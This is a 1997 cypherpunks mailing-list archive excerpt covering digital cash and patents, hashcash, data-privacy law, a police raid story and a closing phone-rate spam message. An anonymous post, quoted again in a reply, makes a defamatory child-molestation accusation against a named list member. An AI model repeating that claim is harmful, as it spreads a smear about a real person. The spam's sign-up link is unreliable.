> For the desired market for digital cash, that of black market and
> anarchistic transactions, ignoring the patents seems an obvious choice. For
> the hoity-toity bankers, they'll probably avoid such things completely.

There are lots of other "desired" transactions for digital bearer
certificates besides digital cash for black markets. Everything from
"collectables" (no accounting for taste, I suppose), to any current
financial instrument (and a few we haven't dreamed up yet), to micromoney
for those micromoney "mitochondria" I rant so much about. All of them will
be extremely economical because they're untraceable and still negotiable.
Nonrepudiable without the "assistance" of a nation-state.

Remember, proto-wings were evolved by pond-skimming insects so they could
skim across ponds faster. Eventually, when those proto-wings evolved into
actual wings, flying insects didn't need ponds anymore. With that idea in
mind, digital bearer certificates are going to have to interface with the
book entry world of meatspace for a while, in order to be convertable into
other assets. Eventually, at some point, those assets won't be book-entries
anymore.

<sfx: "slap!"> > I know which side I'm on, but I'm not sure which side Bob
is on. </sfx>

Bob just wants to make a buck. Something you don't have to worry about any
more about, anymore, Tim.
<he said, rubbing the red spot on his cheek...>

The point is, if it makes money it'll happen. If it doesn't make money, it
won't. Reality is not optional. Nation states are so powerful, requiring
the invention of strong cryptography to save us from their totalarian
excressance, because they can take our money at gunpoint. The reason they
can is because money can be traced, either in physical form, or lately, in
electronic book-entry form. The reason it can be traced is because our
economic system physically requires a nation state to enforce any
repudiation of its transaction protocols.  To punish fraud, in other words.

Financial cryptography saves us from the nation state not just because it
hides information about ourselves, but because it out-competes the old book
entry transaction system, especially in terms of non-repudiation. It
outcompetes the old system on it's own turf. Which means, of course, in
banks. "Hoity-toity" or otherwise.

Think about it this way. Personal computers didn't really start to kill
mainframes until they were networked into mainframes and could hoover data
out of them with impunity, and out-process the information. Excel killed
123 that much quicker because it could read .WK1 files transparently,
macros and all, and then do much more with it. Soon, this upcoming
"protocol conversion", between the net world of bearer certificates and the
meatspace world of book-entries, will be done by a financial trustee.

A trustee which will be, for all intents an purposes, and certainly in the
earlest stages of a digital bearer certificate infrastructure, a bank. The
hoity-toitier, the better, because they have the best reputation to rent to
transactions on the net. So, that means avoiding unpleasantneess, like
"cutting out" transactions on the net from a bank's shareholders by having
a bunch of separate entities, underwriters in other words, marketing and
validating the actual certificate transactions. That keeps Mrs. Grundy from
standing up in the bank's boardroom one afternoon and cancelling all the
net.porno operators' accounts, because they don't have accounts in the
bank. The underwriters do, and they underwrite certificates for thousands
of customers apiece, customers the underwriters don't even have know,
because the trustee is blindly passing those ATM and wire transactions to
the right banking correspondents on those networks, who in turn validate
their customers against their account base.


Anyway, getting back to the point, "avoiding unpleasantness" also means not
having patent lawyers sue those very essential "hoity-toity" trustee banks
for rediculous reasons, like patent infringement, actual or not.


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Apr 1997 18:00:17 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Crypto gambling
Message-ID: <V38X6D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


It has been brung to my attention that one of the horses running in this
Saturday's Kentucky Derby is named Crypto Star.  He already won the
Louisiana and Arkansas Derbys.

Vote Labour!!!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 29 Apr 1997 20:56:44 -0700 (PDT)
To: John Young <jya@pipeline.com>
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <1.5.4.32.19970430030645.008d391c@pop.pipeline.com>
Message-ID: <3.0.1.32.19970429205628.008a8cd0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:06 PM 4/29/97 -0400, John Young wrote:

>So, Time-speaking a Declan, I nym drop that Cylink's board dined 
>this evening at the Harvard Club to admire Dr. Leo Guthart hiccuping
>the joys of bedding and gorging Sodom's delights -- the cost to be 
>written off thanks to DC/NY/CA/AR mutual scratch-fleas legally
>sanctioned worldwide: the need and deed of two-back gov and biz.

Are you sure you have not been channeling Dr. Bronner?

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM2bCx+QCP3v30CeZAQFNoQf+JSpZCmg8h/rbOJ7ZhzCB0OI3PTo+2J3a
TF1JI0BCb/4uV8oUbQiyB5S//fQ+85CMgo0bHbxIl9uGgYjpPYneVWObRVjYCgAR
SbichdrGx/M7sSsbIfPS1wv1Ov3XCJpL8z+8JbTljvBw0mXZUEasdwRW/W4rfoeT
O9WVcFGR7LY6PbfqYPVFiNYG3X7kqZoAH7kCLjObgj3bRp+mQeb/cUTaKcZoZWUn
tKHaUio+PnERzuiogFXvOCgwELyFQ3OEortcUDRAOTXrhqIO1VdQPIwEf8NjUUPu
Q06P91d4vebbsJJvxLwe5NH15/h3ucL5CkrHGU/qyLXC+Ii5UL055Q==
=iAum
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 29 Apr 1997 22:38:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cyclic codes
Message-ID: <199704300538.WAA00247@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Given Timmy Mayo's propensity to molest little children, is it 
any surprise that the state of California wants to have him 
castrated?

    _
   >@) Timmy Mayo
   (V(_
   ^^\<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 29 Apr 1997 20:08:30 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <1.5.4.32.19970430030645.008d391c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Sure DC is a swamp and NYC is a cesspool, but it's their lakes 
of shit that keep hungry dogs from the outback coming to feed. 
To hack politics, spin lies, hawk IPOs and Wall Steal from 
W&O. Both burgs draw never ending packs to plot the peddling 
of useless news and armaments and laws and fortune cookies --
all the SOS for which most countries need only one capital hole but 
for which America needs two to handle demand.

In that vein, I bet Declan learns to love Manhattan via Time's 
irresistable harem and ungents. All journalists, especially those 
doing duty in DC and CA, aspire to the cessmost of presspools.

So, Time-speaking a Declan, I nym drop that Cylink's board dined 
this evening at the Harvard Club to admire Dr. Leo Guthart hiccuping
the joys of bedding and gorging Sodom's delights -- the cost to be 
written off thanks to DC/NY/CA/AR mutual scratch-fleas legally
sanctioned worldwide: the need and deed of two-back gov and biz.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 29 Apr 1997 23:40:29 -0700 (PDT)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Software patents
Message-ID: <3.0.32.19970429233202.0070b8e4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:30 PM 4/29/97 -0400, Robert Hettinga wrote:
>Anyway, getting back to the point, "avoiding unpleasantness" also means not
>having patent lawyers sue those very essential "hoity-toity" trustee banks
>for rediculous reasons, like patent infringement, actual or not.

There is a simple way to prevent patent lawyers from suing you for supposed
patent infringement. Distribute your software from a jurisdiction in which
software patents do not exist. South Africa is one of many such jurisdictions.

Anecdote: at a conference, I asked a patent attorney what strategy to
follow if your patented technology is only happening in the client
software. He looked at me like I was drooling on myself and said: "Uhm...
Well... Then you have a problem."

IANAL, but I suppose the best strategy for the owners of a shaky software
patent would be to make people believe that their technology is patented in
many more jurisdictions than it actually is.

Have fun,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 29 Apr 1997 23:42:38 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Cyclic codes
In-Reply-To: <199704300538.WAA00247@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970430004206.171678B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 29 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Given Timmy Mayo's propensity to molest little children, is it 
> any surprise that the state of California wants to have him 
> castrated?
> 
>     _
>    >@) Timmy Mayo
>    (V(_
>    ^^\<
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 30 Apr 1997 01:04:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Citizen Units
Message-ID: <199704300804.BAA06655@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

> These no-knock dawn raids are becoming de rigeur. I'm surprised Jim Bell
> was raided at the late hour of 9 a.m. I'm also somewhat surprised there was
> no gunfire at his house.

  They were waiting for the Search Warrant to be signed, to make
sure they had their asses covered.
  The fact that it was dated on March 28 (?) means little. Judges 
regularly predate warrants upon the basis of a need to protect
sources. Most court systems leave a few document numbers free
each day for future predating of warrants, affadavits, etc.

  Judges and JP's have many legal requirements to meet in most
procedures, ones which they totally ignore for the most part, 
yet I have yet to see any lawyer challenge the sloppy bullshit 
that stems from their failure to follow proper judicial procedure
in the behind-the-scenes paperwork.
  The bottom line is that even the best of lawyers fear judges
that they know they will have to face again, and they don't
want every court ruling to go against them for the next ten
years.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 30 Apr 1997 00:15:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199704300715.DAA31556@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
 
> So, Time-speaking a Declan, I nym drop that Cylink's board dined
> this evening at the Harvard Club to admire Dr. Leo Guthart hiccuping
> the joys of bedding and gorging Sodom's delights -- the cost to be
> written off thanks to DC/NY/CA/AR mutual scratch-fleas legally
> sanctioned worldwide: the need and deed of two-back gov and biz.

  John's getting better drugs than I am.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Tue, 29 Apr 1997 18:39:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Data Privacy Laws
In-Reply-To: <v03007800af8b4d0ada5e@[207.167.93.63]>
Message-ID: <m0wMOKd-0003b7C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


> >   According to the Registrar's office, anyone who is processing personal
> >   information, even as little as names and addresses received over the
> >   Internet, could find themselves facing an unlimited fine in the higher
> >   courts if they do not register with the Data Protection Registrar.

> This is well known to most of us. Still, we periodically get "privacy
> advocates" here on this list singing the praises of the various European
> "data privacy laws" and urging other nations to adopt the same sorts of
> laws.

It is worth noting that the "Data Privacy Commissioners" in Germany
(equivalent to the British Data Protection Registrar) are beginning to
advocate technologies such as anonymous e-cash, pre-paid chipcards,
pseudonyms, and of course encryption, rather than more laws.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Apr 1997 21:59:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Citizen Units
Message-ID: <199704300459.GAA12692@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded from another mailing list...

---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 13:54:16 -0700 (PDT)
From: Dale Seago <itachi@crl4.crl.com>
To: (distribution deleted)
Subject: On The Importance Of "Image"

<snip>

A few weeks ago one of my dojo students, Rex Biteng, took some
photos to be used in an article for a on-line magazine for which
Rex writes. The photos featured Rex, another of my students named
Robert Candelaria, and a friend of theirs holding some firearms
owned (quite legally) by this third party.

Rex took the photos to a chain called Costco, which offers a photo
developing service (okay, you can see it coming already, right?).
Next thing he knows, people at his bank are telling him that police
of- ficers have been showing these photos around and asking
questions about his financial affairs. According to Rex, before he
picked up the devel- oped photos, someone had seen the guns, called
the police, and said they had some photos of gang members with
guns.

Rex asked me whether I thought he should get a lawyer and go after
Costco, and my response was "definitely". Rex is in the middle of
the hiring process to become an officer with the San Francisco Po-
lice Department, and I warned him that this would almost certainly
arise and bite him when they got to the background investigation
phase. He ultimately decided to drop the matter: figured that he
didn't have the money for a lawyer, wasn't interested in creating
further problems or getting anyone in trouble, and the police
hadn't bothered to con- tact and talk with HIM so apparently the
matter had been dropped. Then I received his e-mail message, below:

---------- Forwarded message ----------
Date: Mon, 21 Apr 1997 13:22:58 -0800
From: (Rex Biteng)
To: dale seago <itachi@crl.com>
Subject: It happened!!!!

Dale,

Hows it going there??? Well, let me tell you of the recent drama.
Feel free to tell anyone you want. At 0700 this morning the santa
rosa pd, rohnert park pd, and the sonoma sherriffs (gang task
force) raided Robert and my house simultaneously. It was very
depressing. A full swat team with their mp-5's and riot shot-guns
compleate with their kevlar helmets, black bdu-s and  riot shields
put my brother, me, my uncle (who is a retired Philippine Marine
officer and saw combat duty during his service), and my old
grandfather, in hand-cuffs face down. Let me tell you that it is a
very scary feeling to have a mp-5 with the safty off pointed at
your back when you are truly innocent. They served me a search
warrant and confiscated my brothers telescopic baton, my black
ruck-sack which included my black bdu's and my tabi that I use for
Bujinkan and a photo album of mine with some of the gun pictures in
it. It's funny because in that same albulm I have my Guardian Angel
pictures in there plus some pictures of when I was at Airborne
school in ft. Benning.
I told them the whole story and I even had to explain my bdu's that
I use for Bujinkan. The investigator told me 'as if he was a expert
in the martial arts' that dosen't your dojo use gi's and have
ranking systems. I had to explain that Bujinkan is not a normal
style that he was use to.  In fact, One of the investigatiors who I
will not say, treated me as if I was a dumb unintelligent nit.
Trying to make me say things that were not true. I even had to
explain about a little ninja dash ornament that Jason and I have in
mine and his car. I told them about having an attorney present but
he just told me that if i had nothing to hide to tell him the
information that I knew. So I told them everything. Apparently, I
guess you now have to prove your innocence instead of being
innocent untill proven guilty.
I don't know how Robert faired because I haven't been able to talk
to him yet. But I'll keep you up to date on what happens.

Your Bujinkan Warrior,
Rex

                        (End of forwarded message)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

The following night in the dojo I also was able to get Robert's
side of things. Pretty much the same story: They cuffed Robert and
told his father and stepmother to get out, at which point Robert's
62-year- old stepmother sort of "lost it" and snapped back to her
girlhood in France, when the Nazi soldiers came to her village and
behaved the same way. She actually attacked one of these modern
ones and knocked the fine German-made HK MP5 submachine gun out of
his hands.

No firearms were found at either residence, and no one was taken
into custody. They tried to question Robert, but he informed them
that they were welcome to search for the items specified on the
warrant, but that if they found nothing and wished to question him
about anything else, they would have to arrest him and take him to
the station, whereupon he would answer questions only in the
presence of an attorney.

What, specifically, were they looking for? Following are ex- tracts
from the search warrant:

                        STATE OF CALIFORNIA
                          COUNTY OF SONOMA
                           SEARCH WARRANT

PEOPLE OF THE STATE OF CALIFORNIA, to any sheriff, policeman, or
peace officer in the County of Sonoma:
PROOF, by affidavit, having been made before me by DEPUTY
(deleted), SONOMA COUNTY SHERIFF'S DEPARTMENT, that there is
probable cause to believe that the property described herein may be
found at the locations set forth herein and that it is seizable
pursuant to Penal Code 1524, as indicated below by "X"(s), in that
it:

                (3 of 5 possible choices were "x'd")

  X     was used as the means of committing a felony

  X     is possessed by a person with the intent to use it as a means of
        committing a public offense or is possessed by another to whom he
        may have delivered it for the purpose of concealing it or
        preventing its discovery

  X     is evidence which tends to show that a felony has been committed
        or a particular person has committed a felony

        you are therefore COMMANDED TO SEARCH the premises located at
        and described as: (followed by addresses and descriptions of
        Rex's & Robert'sresidences and vehicles) and the persons of
        (followed by Rex's & Robert's names and physical descriptions;
        and)

        3. Subject #3, the person depicted in the attached photographs,
should he be present at either location; for the following property:

        1. AK-47 variant, 7.62x39 with Choate handguards and thumb hole
stock with thirty round magazine. This weapon is defined as an assault
weapon by 12276(a)(1) PC, which covers the AK-47 and all of its variants;
        2. Chicom SKS, 7.62x39 with folding stock and thirty round de-
tachable magazine. This weapon is defined as an assault weapon by 12276
(a)(11) PC, when it has a detachable magazine;
        3. Any miscellaneous gun pieces, ammunition, gun cleaning items
or kits, holsters, ammunition belts, original box packaging, targets,
expended pieces of lead, photographs of firearms or any paper work show-
ing the purchase, storage, disposition or dominion or control over any
guns, ammunition or any of the above items;
        4. Articles of personal property tending to establish the ident-
ity of persons in control of any premises, storage areas or containers
being searched, such as utility company receipts, rent receipts, charge
card receipts, tax receipts, airplane tickets and other receipts, checks,
deposit slips, savings account passbooks, passports, drivers licenses,
vehicle registrations/titles, land titles, escrow papers, legal docu-
ments, Social Security cards, Food Stamps, Medi-Cal cards, insurance
bills and/or policies, medical records, prescriptions and prescription
bottles, doctor bills, hospital bills, cancelled mail, addressed envel-
opes, photographs, weapons with serial numbers, keys and safes;
        5. To search and/or seize any and all computer equipment, in-
cluding any and all storage media, either hardware or software, located
within said residence for evidence relating to this crime;
        6. Any and all electronic day planners located within said res-
idence for any and all evidence pertaining to this crime;
        You are authorized to defeat any and all security and/or pass-
words; and to SEIZE it if found and bring it forthwith before me, or
this court, at the courthouse of this court.

                (signed by the issuing magistrate)
                    (end of warrant excerpts)

The firearms in question, as I mentioned earlier, are actually
owned by a friend of Rex's & Robert's in the Sacramento area.
Robert told the Naz. . I mean, the Nice Officers who the individual
is and where he lives. How did the folks in the Sacramento
jurisdiction handle it with this third guy? Couple o' folks came to
his house, talked with him, looked at the weapons and determined
that they either are not the statutorily defined assault weapons
mentioned in the warrant (it IS hard to distinguish a lot of these
carbines from each other from a pho- tograph alone); or, if they
are the weapons described, they are none- theless legally possessed
by the owner. And they left, with no arrest of confiscations.

Rex, Robert, and their respective families should at this point (in
my humble lay opinion) have excellent cases against both Costco
(for slander and defamation; also for loss of future income in
Rex's case if the San Francisco Police Department now refuses to
hire him) and (at least) the Sonoma County Sheriff's department. An
important as- pect of self-defense (and of ninpo, for that matter)
is to have the right sorts of connections to get things done, and
I've contacted an attorney who is interested in looking into the
matter. For the record: Yes, I most certainly WILL "go to war",
metaphorically speaking, for my people.

Regards,
Dale Seago
======================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 30 Apr 1997 03:56:49 -0700 (PDT)
To: rah@shipwright.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v03020974af8c24a07c52@[139.167.130.246]>
Message-ID: <199704300909.KAA00664@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga <rah@shipwright.com> writes:
> Remember, proto-wings were evolved by pond-skimming insects so they could
> skim across ponds faster. Eventually, when those proto-wings evolved into
> actual wings, flying insects didn't need ponds anymore. With that idea in
> mind, digital bearer certificates are going to have to interface with the
> book entry world of meatspace for a while, in order to be convertable into
> other assets. Eventually, at some point, those assets won't be book-entries
> anymore.

No offense Bob, but your pose takes some reading, too full of
metaphors, but I grok what you're saying, and the topic discussed here
I find interesting.

How about this, rather than interface your ecash system with US
dollars yourself through credit cards/ debit cards/ cheques / cash,
just set up an entirely disconnected system.

You may remember the digicash trial mint.  It was monopoly money,
theoretically it was worthless.  However people were selling freebees
for it (the odd T-shirt, cap etc), plus images, programs.  Also it was
collectable in the sense that there was a limited mint.

The unofficial digicash exchange was set up and some transactions took
place.  People were buying and selling the monopoly money for real
money, without digicash having to worry about the legality of the
interface to existing payment systems.  The black market/ unoffcial
market took care of it.  Also the internet casino is interesting in
relation to this.  They accept many payment forms, if they started
accepting our "net cash" (net in the sense that it only means anything
directly in terms of the net), then you could exchange cash by playing
some low rake off game such as roulette.  (Just keep betting on black,
the commision is the house slot, and you take your chips away in real
world currency).

The cryptographic requirements for a system such as this would be:

 1) anonymous (privacy preserving, payee and payer anonymous
 2) distributed (to make it hard to shut down)
 3) have some built in scarcity
 4) require no trust of any one individual
 5) preferably offline (difficult to do with pure software)
 6) reusable

My ideas so far are hashcash (where the scarcity is related to your
processing power).  (See http://www.dcs.ex.ac.uk/~aba/hashcash/)
However this makes for hyper-inflation because of the rapid increase
in CPU power.  

hashcash is not directly transferable because to make it distributed,
each service provider accepts payment only in cash created for them.

You could perhaps setup a digicash style mint (with chaumian ecash)
and have the bank only mint cash on receipt of hash collisions
addressed to it.

However this means you've got to trust the bank not to mint unlimited
amounts of money for it's own use.

So, perhaps you could have multiple banks and let reputation sort them
out, if you could arrange the protocols so that it would be apparent
if a bank was minting more cash than it had received hash collisions
for.  (Say by publishing the collisions, and making it possible to
publically verify the quantity of cash in circulation).

But if you've got multiple banks then you've got to have an exchange
mechanism.  The market could probably take care of this, setting
exchange rates based on banks reputations.

However it would be nicer to have something which required no trust
and which had no posssibility of cheating rather than relying on
reputation to sort them out.

> Think about it this way. Personal computers didn't really start to kill
> mainframes until they were networked into mainframes and could hoover data
> out of them with impunity, and out-process the information. Excel killed
> 123 that much quicker because it could read .WK1 files transparently,
> macros and all, and then do much more with it. Soon, this upcoming
> "protocol conversion", between the net world of bearer certificates and the
> meatspace world of book-entries, will be done by a financial trustee.

The problem with anonymous ecash to continue your metaphor is that
.WK1 files also happen to be illegal or surrounded by huge amounts of
banking regulations.  So even though the new system is better the
negative forces acting against so far have succeeded in stifling it.

One of the negative forces also is user stagnation, people are used to
cheques and credit cards, even if they are inefficient and prone to
fraud.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 30 Apr 1997 08:24:37 -0700 (PDT)
To: Hodge Podge <hodgepodge@nym.alias.net>
Subject: Re: Data Privacy Laws
In-Reply-To: <19970430143414.10988.qmail@nym.alias.net>
Message-ID: <199704301521.KAA05017@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <19970430143414.10988.qmail@nym.alias.net>, on 04/30/97 at 02:34 PM,
   Hodge Podge <hodgepodge@nym.alias.net> said:


>Ulf =?ISO-8859-1?Q?M=F6ller?= (3umoelle@informatik.uni-hamburg.de) wrote:

>>It is worth noting that the "Data Privacy Commissioners" in Germany
>>(equivalent to the British Data Protection Registrar) are beginning to
>>advocate technologies such as anonymous e-cash, pre-paid chipcards,
>>pseudonyms, and of course encryption, rather than more laws.

>But according to alt.security.pgp (4/28/97):

>BONN, Germany (Reuter) -- A German cabinet minister called Monday for
>increased efforts to fight crime on the Internet and demanded that
>cyber-sheriffs have keys to unlock coded messages.
>Interior Minister Manfred Kanther told a conference ....."The technical
>and organizational competence of agencies charged with fighting computer
>crime must be strengthened." 
>"The criminals are hiding in the anonymity of the networks, wiping their
>electronic tracks." Kanther said.

>So clearly the government disagrees.

Actually they probably do not dissagree. I am sure that the German
Government will come to agreement that "anonymity" only means anonymity
from civilians not anonymity from government. I am sure that the "Data
Privacy Commissioners" & the Interior Dept. will be in agrement solong as
everything is properly GAKed. :(


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I don't do Windows, but OS/2 does.

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2dyro9Co1n+aLhhAQE/ogP/Sz+58qVpKFBz5hiOFea91rOEw+yQln3R
ehB1Ch5szlNkRVoiJa+4/a/CzCFklFK9VkIrkpXQ50zywo8ytdhl0JNvaaGoH+6C
P30b/DaOsRksM5hsPIThh9Vj5ykUP5ZlTu8aJyEFg7dzc5weS+X2yWDIkX3wJlhK
n5mZwX6a0uU=
=dIe4
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hodge Podge <hodgepodge@nym.alias.net>
Date: Wed, 30 Apr 1997 07:34:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Data Privacy Laws
Message-ID: <19970430143414.10988.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Ulf =?ISO-8859-1?Q?M=F6ller?= (3umoelle@informatik.uni-hamburg.de) wrote:

>It is worth noting that the "Data Privacy Commissioners" in Germany
>(equivalent to the British Data Protection Registrar) are beginning to
>advocate technologies such as anonymous e-cash, pre-paid chipcards,
>pseudonyms, and of course encryption, rather than more laws.

But according to alt.security.pgp (4/28/97):

BONN, Germany (Reuter) -- A German cabinet minister called Monday for
increased efforts to fight crime on the Internet and demanded that
cyber-sheriffs have keys to unlock coded messages.
Interior Minister Manfred Kanther told a conference ....."The
technical and organizational competence of agencies charged with
fighting computer crime must be strengthened." 
"The criminals are hiding in the anonymity of the networks, wiping
their electronic tracks." Kanther said.

So clearly the government disagrees.

	-- HP


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Charset: noconv

iQDzAwUBM2dBN7mgWaN4MfkFAQGN2gbwkqnKKh5GpM79icxPEiybj//h46tWIZGc
Wn4eOrQZ2WKtCvAmR+vHR8/jKAV+MbcR4NKovfxNxN9aA0iyWu/AW+5lWyMyXenr
01zx+MmNFR6HG7ESXikiNMiyJyXL3iKCF3vP5lrQlZaa82sQSRauAqBuu0JahFO2
qmfPO+/bmvKI8BQS/NEIbut+U8O7rOKddsdIWzQ4FanM1q+cb9C7aV6/Fvk7yTeK
IuTCyI5oTi4GLBCZ5fqwDscHp1V0HlsU7WXcC7d4t04EisyQSoFEnEgZp8j1M+JP
MNfnJIx2
=//r6
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Wed, 30 Apr 1997 08:40:18 -0700 (PDT)
To: hodgepodge@nym.alias.net
Subject: Re: Data Privacy Laws
In-Reply-To: <19970430143414.10988.qmail@nym.alias.net>
Message-ID: <9704301539.AA63320@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


> BONN, Germany (Reuter) -- A German cabinet minister called Monday for
> increased efforts to fight crime on the Internet and demanded that
> cyber-sheriffs have keys to unlock coded messages.
> Interior Minister Manfred Kanther told a conference .....

> So clearly the government disagrees.

Fortunately, it is not that clear.  The FDP (the smaller party in the
government coalition) sent out an angry press release today, pointing
out that Kanther's plan will not be supported by a majority neither in
the cabinet nor in the Bundestag, and demanding that he stops to
damage the government's reputation.

Also see my previous message about the FDP policy at
http://infinity.nus.sg/cypherpunks/dir.archive-97.04.17-97.04.23/0087.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: minjiang@hotmail.com
Date: Sun, 25 May 1997 06:16:56 -0700 (PDT)
To: minjiang@hotmail.com
Subject: international rates
Message-ID: <199705251300.GAA20728@denmark.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

You were referred to us as someone who makes regular international
calls.  If this is not the case, please forgive the intrusion- we won't send
you any other messages.

These are, by far, the lowest international calling rates anywhere. 
You can sign up online right now for service, for no cost or fees, and
you DO NOT need to switch your long distance carrier:

                http://205.199.212.65/itl/itl.html

AGAIN, there's no need to switch service: Just dial the 800# or PIC
code for access.  You can be on in 48 business  hrs. or less.  

PLUS, you can earn 5% on other people's usage, and get a FREE web page
that will take orders for your referals 24 hours per day:

All rates are FLAT rates, 24 hrs./day:

$1.48	Afghanistan			
$0.72	Albania			
$0.77	Algeria			
$0.76	American Samoa			
$0.43	Andorra			
$1.04	Angola			
$0.73	Anguilla			
$0.73	Antigua			
$0.68	Argentina			
$0.77	Armenia			
$0.53	Aruba			
